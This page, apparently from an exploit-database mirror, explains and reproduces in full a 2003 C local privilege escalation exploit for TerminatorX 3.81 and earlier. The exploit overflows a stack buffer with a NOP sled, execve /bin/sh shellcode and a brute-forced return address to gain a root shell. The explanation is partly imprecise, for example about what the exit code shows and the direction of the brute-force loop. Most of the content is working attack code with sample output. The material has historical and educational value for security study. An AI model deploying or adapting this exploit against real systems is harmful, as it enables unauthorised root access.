By exploitdb papers bot•November 13, 2003•
papers
TerminatorX 3.81 Local Privilege Escalation Exploit Explained

TerminatorX 3.81 Local Privilege Escalation Exploit Explained
What this paper is
This paper details a local stack-based buffer overflow vulnerability in TerminatorX version 3.81 and earlier. The vulnerability allows a local attacker to gain root privileges on the affected system. The exploit provided aims to overwrite the return address on the stack to point to injected shellcode, which then executes with root privileges.
Simple technical breakdown
- Vulnerability: TerminatorX, when processing a specially crafted input (likely a configuration file or command-line argument), suffers from a stack buffer overflow. This means it writes more data into a buffer on the stack than it was designed to hold.
- Stack Overwrite: This overflow can overwrite adjacent data on the stack, including the return address. The return address is a pointer that tells the program where to resume execution after a function finishes.
- Shellcode Injection: The exploit crafts a malicious input string. This string contains:
- Nops (No Operation instructions): These are padding instructions that do nothing but advance the instruction pointer. They create a "landing zone" for the execution flow.
- Shellcode: This is a small piece of machine code designed to perform a specific action, in this case, to spawn a shell with root privileges.
- Overwritten Return Address: The exploit calculates and places a new return address. This address points back into the buffer, specifically to the injected shellcode.
- Execution Flow Hijack: When the vulnerable function in TerminatorX attempts to return, instead of going back to the legitimate caller, it jumps to the overwritten return address, which is now pointing to the shellcode.
- Privilege Escalation: The shellcode executes, and because TerminatorX was likely running with elevated privileges (e.g., as root), the spawned shell also inherits those privileges, granting the attacker root access.
- Brute-forcing: The exploit includes a brute-force mechanism to find the correct return address if it's not known beforehand. It tries various addresses on the stack until it finds one that successfully executes the shellcode.
Complete code and payload walkthrough
The provided C code implements the exploit. Let's break it down:
Global Definitions and Variables:
#include <stdio.h>,#include <stdlib.h>,#include <unistd.h>,#include <sys/wait.h>,#include <sys/types.h>,#include <errno.h>: Standard C libraries for input/output, memory allocation, process control, and error handling.#define BSIZE 200: Defines the size of the buffer used for padding and shellcode, set to 200 bytes.#define D_START 0xbffff734: A default starting address for brute-forcing the return address. This is a common stack address range for 32-bit Linux systems.#define PATH "/usr/local/bin/terminatorX": The hardcoded path to the vulnerable TerminatorX executable.#define RET 0xbffff69e: A hardcoded specific return address, likely for direct exploitation without brute-forcing.char shellcode[]= "\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80";: This is the actual shellcode. Let's decode it:\x31\xc0:xor eax, eax- Clears the EAX register.\x50:push eax- Pushes the value of EAX (0) onto the stack.\x68//sh:push 0x68732f2f- Pushes the ASCII string "//sh" onto the stack (little-endian).\x68/bin:push 0x6e69622f- Pushes the ASCII string "/bin" onto the stack (little-endian).\x89\xe3:mov ebx, esp- Moves the current stack pointer (ESP) into EBX. At this point, EBX points to the string "/bin//sh" on the stack.\x50:push eax- Pushes EAX (0) onto the stack again. This will be the argument forexecve(argv[2]).\x53:push ebx- Pushes EBX (the pointer to "/bin//sh") onto the stack. This will be the argument forexecve(argv[1]).\x89\xe1:mov ecx, esp- Moves the current stack pointer (ESP) into ECX. ECX now points to the arguments forexecve(argv[0] is null, argv[1] is "/bin//sh", argv[2] is null).\x99:cdq- Sign-extends EAX into EDX. Since EAX is 0, EDX becomes 0. This is forexecve's third argument (envp).\xb0\x0b:mov al, 0x0b- Loads the syscall number forexecve(which is 11) into the lower byte of EAX.\xcd\x80:int 0x80- Triggers a kernel interrupt to execute the system call.- In summary, this shellcode executes
/bin//sh(which is equivalent to/bin/sh) with no arguments and no environment variables, effectively spawning a root shell.
char *buffer,*ptr;: Pointers used for manipulating the exploit buffer.
Functions:
void checkme(char *buffer):- Purpose: A simple helper function to check if memory allocation for the
bufferwas successful. - Inputs: A
charpointerbuffer. - Behavior: If
bufferis NULL (meaningmallocfailed), it prints an error message tostderrand exits the program. - Output: None. Exits if allocation fails.
- Purpose: A simple helper function to check if memory allocation for the
void exec_vuln():- Purpose: Executes the vulnerable TerminatorX program with the crafted
bufferas an argument. - Inputs: None (uses global
buffer). - Behavior: Uses
execlto replace the current process with the/usr/local/bin/terminatorXexecutable. It passesPATH(the program name),PATHagain (as the first argument, often required byexecl), and"-f", bufferas arguments. The-fflag likely tells TerminatorX to read its configuration or input from the providedbuffer. - Output: None. The current process is replaced.
- Purpose: Executes the vulnerable TerminatorX program with the crafted
int tease():- Purpose: Forks a child process, executes the vulnerable program in the child, and waits for it to finish, checking its exit status. This is how the exploit tests if the shellcode was executed successfully.
- Inputs: None (uses global
buffer). - Behavior:
fork(): Creates a new process.- If
pid == -1: Forking failed, prints an error and exits. - If
pid == 0(child process): Callsexec_vuln()to run TerminatorX. - If
pid > 0(parent process):wait(&status): Waits for the child process to terminate.- Checks
statusto determine how the child exited. - If
WIFEXITED(status)is true, it means the child exited normally.WEXITSTATUS(status)returns the exit code of the child. A return code of0from the child process indicates successful execution of the shellcode (asexecvetypically returns 0 on success). - If
WIFSIGNALED(status)is true, the child was terminated by a signal. - Prints the exit status.
- Output: Returns the exit status of the child process.
0is the success indicator for the exploit.
int make_string(long ret_addr):- Purpose: Constructs the exploit payload string, including padding, shellcode, and the target return address.
- Inputs:
ret_addr(the desired return address to overwrite the original one). - Behavior:
- Allocates 512 bytes for
bufferusingmalloc. Callscheckmeto ensure allocation succeeded. - Sets
retto the providedret_addr. - Initializes
ptrto point to the beginning ofbuffer. memset(ptr, 0x90, BSIZE - strlen(shellcode)): Fills the initial part of the buffer with0x90(NOP instruction) for padding. The size isBSIZE(200) minus the length of the shellcode. This creates a "NOP sled".ptr += BSIZE - strlen(shellcode): Movesptrto the end of the NOP sled, just before where the shellcode will be placed.- Copies the
shellcodeinto the buffer. ptr += strlen(shellcode): Movesptrpast the shellcode.addr_ptr = (long *)ptr;: Castsptrto alongpointer. This is where the return addresses will be placed.for(i=0; i<20; i++) *(addr_ptr++) = ret;: Writes the targetret_addr20 times. This is crucial for stack overflows where the exact offset might be slightly variable, or to ensure the overwritten return address is hit. The exploit expects the return address to be overwritten multiple times.ptr = (char *)addr_ptr;: Updatesptrto the end of the written return addresses.*ptr = 0;: Null-terminates the buffer.
- Allocates 512 bytes for
- Output: Returns
0on success.
int bruteforce(long start):- Purpose: Iterates through potential return addresses on the stack, starting from
start, and tries to execute the exploit. - Inputs:
start(the initial address to test). - Behavior:
- Prints a "Starting bruteforcing..." message.
- Loops from
startdown to0in steps of 50 (i = i - 50). The step of 50 is arbitrary but likely chosen to cover a reasonable range without excessive iterations. - Inside the loop:
- Prints the address being tested.
- Calls
make_string(i)to construct the exploit payload with the current addressias the target return address. - Calls
tease()to execute the vulnerable program and check for success. - If
tease()returns0(indicating successful shellcode execution), it prints the found address and breaks the loop.
- Output: Returns
0.
- Purpose: Iterates through potential return addresses on the stack, starting from
void banner(char *argv0):- Purpose: Displays the exploit's banner information, including author, discoverer, contact, and usage instructions.
- Inputs:
argv0(the name of the exploit executable). - Behavior: Prints formatted strings to
stderr. - Output: None.
int main(int argc, char *argv[]):- Purpose: The main entry point of the exploit program. It parses command-line arguments and orchestrates the exploit execution.
- Inputs:
argc(argument count),argv(argument values). - Behavior:
- Defines
option_listforgetoptto parse options-b,-r, and-s. - Initializes
bruteto0(not in brute-force mode),opterrto0, andretandstartto default values (RETandD_START). - Calls
banner()to display information. - Uses a
whileloop withgetoptto process command-line arguments:case 'b': Setsbruteto1to enable brute-forcing.case 'r': Parses the provided return address (optarg) usingstrtoul. Callsmake_stringwith this address and thenteaseto execute it directly. Exits after execution.case 's': Parses the starting address for brute-forcing (optarg) usingstrtouland updates thestartvariable.case '?': Handles invalid options, prints an error, shows the banner, and exits.
- After parsing options, if
bruteis1, it callsbruteforce(start).
- Defines
- Output: Returns
0on successful execution or an error code on failure.
Code Fragment -> Practical Purpose Mapping:
| Code Fragment/Block
Original Exploit-DB Content (Verbatim)
/* TerminatorX V. <= 3.81 local root exploit by Li0n7
*
* Typical local stack-based overflow
*
* Bugs discovered by c0wboy from 0x333
*
* Contact Li0n7 voila fr
*
* Usage: ./terminatorX-exp [-r <RET>][-b [-s <STARTING_RET>]]
*
* -r <RET>: no bruteforcing, try to execute shellcode with <RET> as return address
* -b: enables bruteforcing
* -s: bruteforces by using return address from <STARTING_RET> to 0x00000000
*
* Example:
*
*root@li0n7:/tmp/test/exploits# ./terminatorX-exp -b
*
* exploit: terminatorX V. <= 3.81 local root exploit by Li0n7
* discoverer: c0wb0y (www.0x333.org)
* visit us: http://www.ioc.fr.st
* contact me: Li0n7[at]voila[dot]fr
* usage: ./xterminator2 [-r <RET>][-b [-s <STARTING_RET>]]
*
*[+] Starting bruteforcing...
*[+] Testing 0xbffff734...
*terminatorX Release 3.81 - Copyright (C) 1999-2003 by Alexander König
*terminatorX comes with ABSOLUTELY NO WARRANTY - for details read the license.
*...
*[+] Testing 0xbffff66c...
*terminatorX Release 3.81 - Copyright (C) 1999-2003 by Alexander König
*terminatorX comes with ABSOLUTELY NO WARRANTY - for details read the license.
*...
*tX: err: Error parsing terminatorXrc.
*tX: Failed loading terminatorXrc - trying to load old binary rc.
*+ tX_warning: LADSPA_PATH not set. Trying /usr/lib/ladspa:/usr/local/lib/ladspa
** tX_error: tX: Error: couldn't access directory "/usr/lib/ladspa".
*+ tX_warning: Plugin "Sine Oscillator (Freq:audio, Amp:audio)" disabled. Not a 1-in/1-out plugin.
*+ tX_warning: Plugin "Sine Oscillator (Freq:control, Amp:control)" disabled. Not a 1-in/1-out plugin.
*+ tX_warning: Plugin "Stereo Amplifier" disabled. Not a 1-in/1-out plugin.
*+ tX_warning: Plugin "White Noise Source" disabled. Not a 1-in/1-out plugin.
*warning: failed to load external entity "%90%90...%90%901%C0Ph//shh/bin%...%BFl%F6%FF%BF"
*
*(terminatorX:3085): WARNING **: Invalid UTF8 string passed to pango_layout_set_text()
*sh-2.05b# exit *exit *[+] Exited: shell's ret code = 0
*[+] Ret address found: 0xbffff66c
*
*/
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/wait.h>
#include <sys/types.h>
#include <errno.h>
#define BSIZE 200
#define D_START 0xbffff734
#define PATH "/usr/local/bin/terminatorX"
#define RET 0xbffff69e
char shellcode[]= "\x31\xc0\x50\x68//sh\x68/bin\x89\xe3"
"\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80";
char *buffer,*ptr;
void
checkme(char *buffer)
{
if(!buffer)
{
fprintf(stderr,"[-] Can't allocate memory,exiting...\n");
exit(0);
}
return;
}
void
exec_vuln()
{
execl(PATH,PATH,"-f",buffer,NULL);
}
int
tease()
{
pid_t pid;
pid_t wpid;
int status;
pid = fork();
if ( pid == -1 ) {
fprintf(stderr, " [-] %s: Failed to fork()\n", strerror(errno));
exit(13);
} else if ( pid == 0 ) {
exec_vuln();
} else {
wpid = wait(&status);
if ( wpid == -1 ) {
fprintf(stderr,"[-] %s: wait()\n", strerror(errno));
return 1;
} else if ( wpid != pid )
abort();
else {
if ( WIFEXITED(status) ) {
printf("[+] Exited: shell's ret code = %d\n", WEXITSTATUS(status));
return WEXITSTATUS(status);
} else if ( WIFSIGNALED(status) ) {
return WTERMSIG(status);
} else {
fprintf(stderr, "[-] Stopped.\n");
}
}
}
return 1;
}
int
make_string(long ret_addr)
{
int i;
long ret,addr,*addr_ptr;
buffer = (char *)malloc(512);
if(!buffer)
{
fprintf(stderr,"[-] Can't allocate memory, exiting...\n");
exit(-1);
}
ret = ret_addr;
ptr = buffer;
memset(ptr,0x90,BSIZE-strlen(shellcode));
ptr += BSIZE-strlen(shellcode);
for(i=0;i<strlen(shellcode);i++)
*ptr++ = shellcode[i];
addr_ptr = (long *)ptr;
for(i=0;i<20;i++)
*(addr_ptr++) = ret;
ptr = (char *)addr_ptr;
*ptr = 0;
return 0;
}
int
bruteforce(long start)
{
int ret;
long i;
fprintf(stdout,"[+] Starting bruteforcing...\n");
for(i=start;i<0;i=i-50)
{
fprintf(stdout,"[+] Testing 0x%x...\n",i);
make_string(i);
ret=tease();
if(ret==0)
{
fprintf(stdout,"[+] Ret address found: 0x%x\n",i);
break;
}
}
return 0;
}
void
banner(char *argv0)
{
fprintf(stderr,"\n exploit: terminatorX V. <= 3.81 local root exploit by Li0n7\n");
fprintf(stderr," discoverer: c0wb0y (www.0x333.org)\n");
fprintf(stderr," visit us: http://www.ioc.fr.st\n");
fprintf(stderr," contact me: Li0n7[at]voila[dot]fr\n");
fprintf(stderr," usage: %s [-r <RET>][-b [-s <STARTING_RET>]]\n\n",argv0);
}
int
main(int argc,char *argv[])
{
char * option_list = "br:s:";
int option,brute = 0, opterr = 0;
long ret,start = D_START;
banner(argv[0]);
if (argc < 1) exit(-1);
while((option = getopt(argc,argv,option_list)) != -1)
switch(option)
{
case 'b':
brute = 1;
break;
case 'r':
ret = strtoul(optarg,NULL,0);
make_string(ret);
tease();
exit(0);
break;
case 's':
start = strtoul(optarg,NULL,0);
break;
case '?':
fprintf(stderr,"[-] option \'%c\' invalid\n",optopt);
banner(argv[0]);
exit(-1);
}
if(brute)
bruteforce(start);
return 0;
}
// milw0rm.com [2003-11-13]